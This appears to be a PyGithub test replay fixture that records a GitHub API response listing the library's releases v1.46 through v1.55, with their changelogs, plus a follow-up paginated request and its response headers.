+[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41982557/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41982557/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.55","id":41982557,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgyNTU3","tag_name":"v1.55","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T04:43:40Z","published_at":"2021-04-26T04:44:57Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.55","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.55","body":"**Breaking Changes**\r\n\r\n* Remove client_id/client_secret authentication (#1888) (901af8c8)\r\n* Adjust to Github API changes regarding emails (#1890) (2c77cfad)\r\n - This impacts what AuthenticatedUser.get_emails() returns\r\n* PublicKey.key_id could be int on Github Enterprise (#1894) (ad124ef4)\r\n* Export headers in GithubException (#1887) (ddd437a7)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Do not import from unpackaged paths in typing (#1926) (27ba7838)\r\n* Implement hash for CompletableGithubObject (#1922) (4faff23c)\r\n* Use property decorator to improve typing compatibility (#1925) (e4168109)\r\n* Fix :rtype: directive (#1927) (54b6a97b)\r\n* Update most URLs to docs.github.com (#1896) (babcbcd0)\r\n* Tighten asserts for new Permission tests (#1893) (5aab6f5d)\r\n* Adding attributes \"maintain\" and \"triage\" to class \"Permissions\" (#1810) (76879613)\r\n* Add default arguments to Workflow method type annotations (#1857) (7d6bac9e)\r\n* Re-raise the exception when failing to parse JSON (#1892) (916da53b)\r\n* Allow adding attributes at the end of the list (#1807) (0245b758)\r\n* Updating links to Github documentation for deploy keys (#1850) (c27fb919)\r\n* Update PyJWT Version to 2.0+ (#1891) (a68577b7)\r\n* Use right variable in both get_check_runs() (#1889) (3003e065)\r\n* fix bad assertions in github.Project.edit (#1817) (6bae9e5c)\r\n* Test repr() for PublicKey (#1879) (e0acd8f4)\r\n* Add support for deleting repository secrets (#1868) (696793de)\r\n* Switch repository secrets to using f-strings (#1867) (aa240304)\r\n* Manually fixing paths for codecov.io to cover all project files (#1813) (b2232c89)\r\n* Add missing links to project metadata (#1789) (64f532ae)\r\n* No longer show username and password examples (#1866) (55d98373)\r\n* Adding github actions secrets (#1681) (c90c050e)\r\n* fix get_user_issues (#1842) (7db1b0c9)\r\n* Switch all string addition to using f-strings (#1774) (290b6272)\r\n* Enabling connetion pool_size definition (a77d4f48)\r\n* Always define the session adapter (aaec0a0f)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/41981910/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/41981910/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.0.1","id":41981910,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTQxOTgxOTEw","tag_name":"v1.54.0.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2021-04-26T02:22:13Z","published_at":"2021-04-26T04:07:53Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.0.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.0.1","body":"* Hotfix release to better support Python 3.5 users.\r\n* Pin pyjwt to <2.0 (502caed9)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/35686980/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/35686980/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54.1","id":35686980,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM1Njg2OTgw","tag_name":"v1.54.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-12-24T04:11:01Z","published_at":"2020-12-24T05:39:10Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54.1","body":"* Pin pyjwt version (#1797) (31a1c007)\r\n* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\r\n* Fix #1731: Incorrect annotation (82c349ce)\r\n* Drop support for Python 3.5 (#1770) (63e4fae9)\r\n* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\r\n* Fix stubs file for Repository (fab682a5)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/34560445/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54","id":34560445,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM0NTYwNDQ1","tag_name":"v1.54","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-11-30T05:43:49Z","published_at":"2020-11-30T05:50:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54","body":"**Important**\r\n\r\nThis is the last release that will support Python 3.5.\r\n\r\n**Breaking Changes**\r\n\r\nThe Github.get_installation(integer) method has been removed.\r\nRepository.create_deployment()'s payload parameter is now a dictionary.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add support for Check Suites (#1764) (6d501b28)\r\n* Add missing preview features of Deployment and Deployment Statuses API (#1674) (197e0653)\r\n* Correct typing for Commit.get_comments() (#1765) (fcdd9eae)\r\n* Pin requests to <2.25 as well (#1757) (d159425f)\r\n* Add Support for Check Runs (#1727) (c77c0676)\r\n* Added a method for getting a user by their id (#1691) (4cfc9912)\r\n* Fix #1742 - incorrect typehint for `Installation.id` (#1743) (546f6495)\r\n* Add WorkflowRun.workflow_id (#1737) (78a29a7c)\r\n* Add support for Python 3.9 (#1735) (1bb18ab5)\r\n* Added support for the Self-Hosted actions runners API (#1684) (24251f4b)\r\n* Fix Branch protection status in the examples (#1729) (88800844)\r\n* Filter the DeprecationWarning in Team tests (#1728) (23f47539)\r\n* Added get_installations() to Organizations (#1695) (b42fb244)\r\n* Fix #1507: Add new Teams: Add or update team repository endpoint (#1509) (1c55be51)\r\n* Added support for `Repository.get_workflow_runs` parameters (#1682) (c23564dd)\r\n* feat(pullrequest): add the rebaseable attribute (#1690) (ee4c7a7e)\r\n* Add support for deleting reactions (#1708) (f7d203c0)\r\n* Correct type hint for InputGitTreeElement.sha (08b72b48)\r\n* Ignore new black formatting commit for git blame (#1680) (7ec4f155)\r\n* Format with new black (#1679) (07e29fe0)\r\n* Add get_timeline() to Issue's type stubs (#1663) (6bc9ecc8)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29803578/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.53","id":29803578,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5ODAzNTc4","tag_name":"v1.53","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-18T08:15:44Z","published_at":"2020-08-18T08:21:50Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.53","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.53","body":"* Test Organization.get_hook() (#1660) (2646a98c)\r\n* Add method get_team_membership for user to Team (#1658) (749e8d35)\r\n* Add typing files for OAuth classes (#1656) (429fcc73)\r\n* Fix Repository.create_repository_dispatch type signature (#1643) (f891bd61)\r\n* PaginatedList's totalCount is 0 if no last page (#1641) (69b37b4a)\r\n* Add initial support for Github Apps. (#1631) (260558c1)\r\n* Correct **kwargs typing for search_* (#1636) (165d995d)\r\n* Add delete_branch_on_merge arg to Repository.edit type stub (#1639) (15b5ae0c)\r\n* Fix type stub for MainClass.get_user (#1637) (8912be64)\r\n* Add type stub for Repository.create_fork (#1638) (de386dfb)\r\n* Correct Repository.create_pull typing harder (#1635) (5ad091d0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29219442/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.52","id":29219442,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5MjE5NDQy","tag_name":"v1.52","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-03T08:45:52Z","published_at":"2020-08-03T08:47:09Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.52","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.52","body":"* upload_asset with data in memory (#1601) (a7786393)\r\n* Make Issue.closed_by nullable (#1629) (06dae387)\r\n* Add support for workflow dispatch event (#1625) (16850ef1)\r\n* Do not check reaction_type before sending (#1592) (136a3e80)\r\n* Various Github Action improvement (#1610) (416f2d0f)\r\n* more flexible header splitting (#1616) (85e71361)\r\n* Create Dependabot config file (#1607) (e272f117)\r\n* Add support for deployment statuses (#1588) (048c8a1d)\r\n* Adds the 'twitter_username' attribute to NamedUser. (#1585) (079f75a7)\r\n* Create WorkflowRun.timing namedtuple from the dict (#1587) (1879518e)\r\n* Add missing properties to PullRequest.pyi (#1577) (c84fad81)\r\n* Add support for Workflow Runs (#1583) (4fb1d23f)\r\n* More precise typing for Repository.create_pull (#1581) (4ed7aaf8)\r\n* Update sphinx-rtd-theme requirement from <0.5 to <0.6 (#1563) (f9e4feeb)\r\n* More precise typing for MainClass.get_user() (#1575) (3668f866)\r\n* Small documentation correction in Repository.py (#1565) (f0f6ec83)\r\n* Remove \"api_preview\" parameter from type stubs and docstrings\r\n (#1559) (cc1b884c)\r\n* Upgrade actions/setup-python to v2 (#1555) (6f1640d2)\r\n* Clean up tests for GitReleaseAsset (#1546) (925764ad)\r\n* Repository.update_file() content also accepts bytes (#1543) (9fb8588b)\r\n* Fix Repository.get_issues stub (#1540) (b40b75f8)\r\n* Check all arguments of NamedUser.get_repos() (#1532) (69bfc325)\r\n* Correct Workflow typing (#1533) (f41c046f)\r\n* Remove RateLimit.rate (#1529) (7abf6004)\r\n* PullRequestReview is not a completable object (#1528) (19fc43ab)\r\n* Test more attributes (#1526) (52ec366b)\r\n* Remove pointless setters in GitReleaseAsset (#1527) (1dd1cf9c)\r\n* Drop some unimplemented methods in GitRef (#1525) (d4b61311)\r\n* Remove unneeded duplicate string checks in Branch (#1524) (61b61092)\r\n* Turn on coverage reporting for codecov (#1522) (e79b9013)\r\n* Drastically increase coverage by checking repr() (#1521) (291c4630)\r\n* Fixed formatting of docstrings for `Repository.create_git_tag_and_release()`\r\n and `StatsPunchCard`. (#1520) (ce400bc7)\r\n* Remove Repository.topics (#1505) (53d58d2b)\r\n* Small improvements to typing (#1517) (7b20b13d)\r\n* Correct Repository.get_workflows() (#1518) (8727003f)\r\n* docs(repository): correct releases link (#1514) (f7cc534d)\r\n* correct Repository.stargazers_count return type to int (#1513) (b5737d41)\r\n* Fix two RST warnings in Webhook.rst (#1512) (5a8bc203)\r\n* Filter FutureWarning for 2 test cases (#1510) (09a1d9e4)\r\n* Raise a FutureWarning on use of client_{id,secret} (#1506) (2475fa66)\r\n* Improve type signature for create_from_raw_data (#1503) (c7b5eff0)\r\n* feat(column): move, edit and delete project columns (#1497) (a32a8965)\r\n* Add support for Workflows (#1496) (a1ed7c0e)\r\n* Add create_repository_dispatch to typing files (#1502) (ba9d59c2)\r\n* Add OAuth support for GitHub applications (4b437110)\r\n* Create AccessToken entity (4a6468aa)\r\n* Extend installation attributes (61808da1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/26107841/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.51","id":26107841,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI2MTA3ODQx","tag_name":"v1.51","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-05-02T16:59:08Z","published_at":"2020-05-02T17:00:02Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.51","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.51","body":"* Type stubs are now packaged with the build (#1489) (6eba4506)\r\n* Travis CI is now dropped in favor of Github workflow (#1488) (d6e77ba1)\r\n* Get the project column by id (#1466) (63855409)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/25890896/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.50","id":25890896,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI1ODkwODk2","tag_name":"v1.50","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-04-26T08:48:26Z","published_at":"2020-04-26T08:51:01Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.50","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.50","body":"**New features**\r\n\r\n* PyGithub now supports type checking thanks to (#1231) (91433fe9)\r\n* Slack is now the main channel of communication rather than Gitter (6a6e7c26)\r\n* Ability to retrieve public events (#1481) (5cf9950b)\r\n* Add and handle the maintainer_can_modify attribute in PullRequest (#1465) (e0997b43)\r\n* List matching references (#1471) (d3bc6a5c)\r\n* Add create_repository_dispatch (#1449) (edcbdfda)\r\n* Add some Organization and Repository attributes. (#1468) (3ab97d61)\r\n* Add create project method (801ea385)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Drop use of shadow-cat for draft PRs (#1469) (84bb69ab)\r\n* AuthenticatedUser.get_organization_membership() should be str (#1473) (38b34db5)\r\n* Drop documentation for len() of PaginatedList (#1470) (70462598)\r\n* Fix param name of projectcard's move function (#1451) (bafc4efc)\r\n* Correct typos found with codespell (#1467) (83bef0f7)\r\n* Export IncompletableObject in the github namespace (#1450) (0ebdbb26)\r\n* Add GitHub Action workflow for checks (#1464) (f1401c15)\r\n* Drop unneeded ignore rule for flake8 (#1454) (b4ca9177)\r\n* Use pytest to parametrize tests (#1438) (d2e9bd69)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/24534063/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.47","id":24534063,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI0NTM0MDYz","tag_name":"v1.47","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-03-15T02:01:20Z","published_at":"2020-03-15T05:49:11Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.47","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.47","body":"**Bug Fixes & Improvements**\r\n\r\n* Add support to edit and delete a project (#1434) (f11f7395)\r\n* Add method for fetching pull requests associated with a commit (#1433) (0c55381b)\r\n* Add \"get_repo_permission\" to Team class (#1416) (219bde53)\r\n* Add list projects support, update tests (#1431) (e44d11d5)\r\n* Don't transform completely in PullRequest.*assignees (#1428) (b1c35499)\r\n* Add create_project support, add tests (#1429) (bf62f752)\r\n* Add draft attribute, update test (bd285248)\r\n* Docstring for Repository.create_git_tag_and_release (#1425) (bfeacded)\r\n* Create a tox docs environment (#1426) (b30c09aa)\r\n* Add Deployments API (#1424) (3d93ee1c)\r\n* Add support for editing project cards (#1418) (425280ce)\r\n* Add draft flag parameter, update tests (bd0211eb)\r\n* Switch to using pytest (#1423) (c822dd1c)\r\n* Fix GitMembership with a hammer (#1420) (f2939eb7)\r\n* Add support to reply to a Pull request comment (#1374) (1c82573d)\r\n* PullRequest.update_branch(): allow expected_head_sha to be empty (#1412) (806130e9)\r\n* Implement ProjectCard.delete() (#1417) (aeb27b78)\r\n* Add pre-commit plugin for black/isort/flake8 (#1398) (08b1c474)\r\n* Add tox (#1388) (125536fe)\r\n* Open file in text mode in scripts/add_attribute.py (#1396) (0396a493)\r\n* Silence most ResourceWarnings (#1393) (dd31a706)\r\n* Assert more attributes in Membership (#1391) (d6dee016)\r\n* Assert on changed Repository attributes (#1390) (6e3ceb19)\r\n* Add reset to the repr for Rate (#1389) (0829af81)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/23553566/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.46","id":23553566,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIzNTUzNTY2","tag_name":"v1.46","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-02-11T01:33:45Z","published_at":"2020-02-11T01:40:08Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.46","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.46","body":"**Important**\r\n\r\nPython 2 support has been removed. If you still require Python 2, use 1.45.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add repo edit support for delete_branch_on_merge (#1381) (9564cd4d)\r\n* Fix mistake in Repository.create_fork() (#1383) (ad040baf)\r\n* Correct two attributes in Invitation (#1382) (882fe087)\r\n* Search repo issues by string label (#1379) (4ae1a1e5)\r\n* Correct Repository.create_git_tag_and_release() (#1362) (ead565ad)\r\n* exposed seats and filled_seats for Github Organization Plan (#1360) (06a300ae)\r\n* Repository.create_project() body is optional (#1359) (0e09983d)\r\n* Implement move action for ProjectCard (#1356) (b11add41)\r\n* Tidy up ProjectCard.get_content() (#1355) (dd80a6c0)\r\n* Added nested teams and parent (#1348) (eacabb2f)\r\n* Correct parameter for Label.edit (#1350) (16e5f989)\r\n* doc: example of Pull Request creation (#1344) (d5ad09ae)\r\n* Fix PyPI wheel deployment (#1330) (4561930b)"}] + +https +GET +api.github.com +None +/repositories/3544490/releases?per_page=10&page=2 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"85c9c22a03038f1fc35f595b7645182b54bc8e3619e278c2a091207a8132a77d"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4638'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '362'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA78:10B15:6AEF3CC:6CE8100:61DC5706')] 